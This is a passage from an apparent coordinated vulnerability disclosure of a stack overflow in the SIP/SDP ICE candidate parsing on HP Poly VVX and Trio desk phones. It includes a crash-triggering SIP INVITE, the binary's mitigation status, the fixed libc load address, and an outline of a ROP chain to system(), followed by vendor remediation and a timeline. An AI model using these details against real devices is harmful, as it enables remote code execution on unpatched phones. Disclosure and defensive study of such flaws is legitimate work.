To: <sip:192.168.86.80:5060>
Contact: <sip:192.168.86.80>
Call-ID: pmpcdwrwqojvfqin
CSeq: 5892 INVITE
Content-Type: application/sdp
Content-Length: 495

c=IN IP4 192.168.86.122
m=audio 50786 RTP/AVP 0
a=rtpmap:0 PCMU/8000/1
a=candidate:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBB1111222233334444CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC

Upon receiving this SIP INVITE request, the helper function ParseICECandidate will parse the malicious candidate attribute, and a stack-based buffer overflow will occur. Observing the resulting crash in GDB, we can see that we have full control over the program counter (pc) register, several general purpose registers, and the data located at the stack pointer (sp).

image2.png
Figure 2: Inspecting a core dump showing the effects of the overflow.

Exploitation

Leveraging the overflow to execute arbitrary attacker controlled code is relatively straight forward. We can first note that Address Space Layout Randomization (ASLR) is present on the target, as shown below by inspecting /proc/sys/kernel/randomize_va_space in a root shell.

# uname -a
Linux (none) 2.6.27.18 #1 PREEMPT Mon Jan 13 09:50:58 PST 2020 armv6l unknown

# cat /proc/sys/kernel/randomize_va_space
1

Inspecting the polyapp binary with the checksec tool we can see that No Execute (NX) is enabled, so the stack data will not be executable. As we will not be able to execute a payload directly on the stack, we can overcome this by using a Return Oriented Programming (ROP) chain to bypass the NX mitigation. Additionally, the binary has not been compiled as a Position Independent Executable (PIE).

$ /usr/bin/checksec --file=rootfs/root/polyapp --format=json | jq
{
	"rootfs/root/polyapp": {
		"relro": "no",
		"canary": "no",
		"nx": "yes",
		"pie": "no",
		"rpath": "no",
		"runpath": "no",
		"symbols": "no",
		"fortify_source": "no",
		"fortified": "0",
		"fortify-able": "33"
	}
}

As the polyapp binary is always loaded at a low address (0x00008000), using Virtual Address (VA) values from this range will require the attacker to be able to place multiple null (0x00) bytes in the overflow buffer. This will not be possible due to how the SDP data is processed. 

We must discover a suitable workaround to exploit the vulnerability while not writing any null bytes in the overflow buffer. We could try to discover an information leak vulnerability, that leaks an address of a Shared Object (SO) location within the processes address space. If the SO is loaded at a location such that its addresses will not contain null bytes, we can use these addresses for ROP gadgets. In lieu of a suitable information leak vulnerability, we will require an alternative technique.

Conveniently to our purpose, ASLR is not operating as expected on the device, and does not impact the load address of Shared Object (SO) libraries. For example, libc will always be loaded at a Virtual Address (VA) of 0x40a5c000 on firmware version 6.4.7.4477. This does not change between process restarts or device cold reboots. Shown below is the same load address for libc in the polyapp process, across a cold reboot of the device.

# date
Fri Dec 12 15:05:56 UTC 2025
# ps -A|grep polyapp
 1461 root569m S/usr/local/root/polyapp 
# cat /proc/1461/maps | grep libc
40a5c000-40b76000 r-xp 00000000 00:01 581/lib/libc-2.8.so
40b76000-40b7e000 ---p 0011a000 00:01 581/lib/libc-2.8.so
40b7e000-40b80000 r--p 0011a000 00:01 581/lib/libc-2.8.so
40b80000-40b81000 rw-p 0011c000 00:01 581/lib/libc-2.8.so

# date
Fri Dec 12 15:14:12 UTC 2025
# ps -A|grep polyapp
 1482 root      569m S    /usr/local/root/polyapp 
# cat /proc/1482/maps | grep libc
40a5c000-40b76000 r-xp 00000000 00:01 581        /lib/libc-2.8.so
40b76000-40b7e000 ---p 0011a000 00:01 581        /lib/libc-2.8.so
40b7e000-40b80000 r--p 0011a000 00:01 581        /lib/libc-2.8.so
40b80000-40b81000 rw-p 0011c000 00:01 581        /lib/libc-2.8.so

Further inspection of the process maps file shows all shared libraries are loaded starting from a fixed address of 0x40000000 and do not appear to honor ASLR. Knowing this, we can build a simple ROP chain using gadgets located at fixed VA’s within the libc library. The gadgets we choose will not contain null bytes in their addresses.

We create a ROP chain that will execute an arbitrary OS command via the system standard C library function. The accompanying Metasploit exploit modules source code details the entire ROP chain.

Remediation

The following remediation guidance has been provided by the vendor.

“HP Poly recommends that administrators disable ICE connectivity in environments where it is not required. All affected Poly Voice devices should be updated to the latest available UCS release using the Poly Lens Device Management application.”

The following table indicates the appropriate fixed software releases.

Product Name

Updated version

VVX

UCS 6.4.8

Trio 8300

UCS 8.1.7

Trio 8500

UCS 7.2.8

Trio 8800

UCS 7.2.8

Credit

This vulnerability was discovered by Stephen Fewer, Senior Principal Security Researcher at Rapid7 and is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Rapid7 Customers

Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-0826 with a vulnerability check available in the June 2 content release. 

Disclosure timeline

  • January 6, 2026: Rapid7 makes initial outreach to HP who confirm contact the same day.

  • January 7, 2026: Rapid7 discloses the technical writeup and exploit code to HP.

  • January 9, 2026: HP confirms the finding, and provides Rapid7 with affected models, a reserved CVE identifier and an expected fix date for May, 2026.

  • January 12, 2026: Rapid7 agrees to the fix date and asks for clarity on the end of support for the VVX series. HP replies the same day with requested information.

  • April; 21, 2026: HP states a new release date by end of July and confirms CVSS, CWE and remediation guidance. Rapid7 gives June 1 as the disclosure date.

  • May 5, 2026: HP provides affected models and confirms coordinate disclosure for June 1.

  • May 18, 2026: HP provides remediation version numbers for patched firmware.

  • June 1, 2026: This disclosure.

  • June 2, 2026: Added Rapid7 Customers section to indicate availability of a vulnerability check, added link to vendor advisory.

❌
❌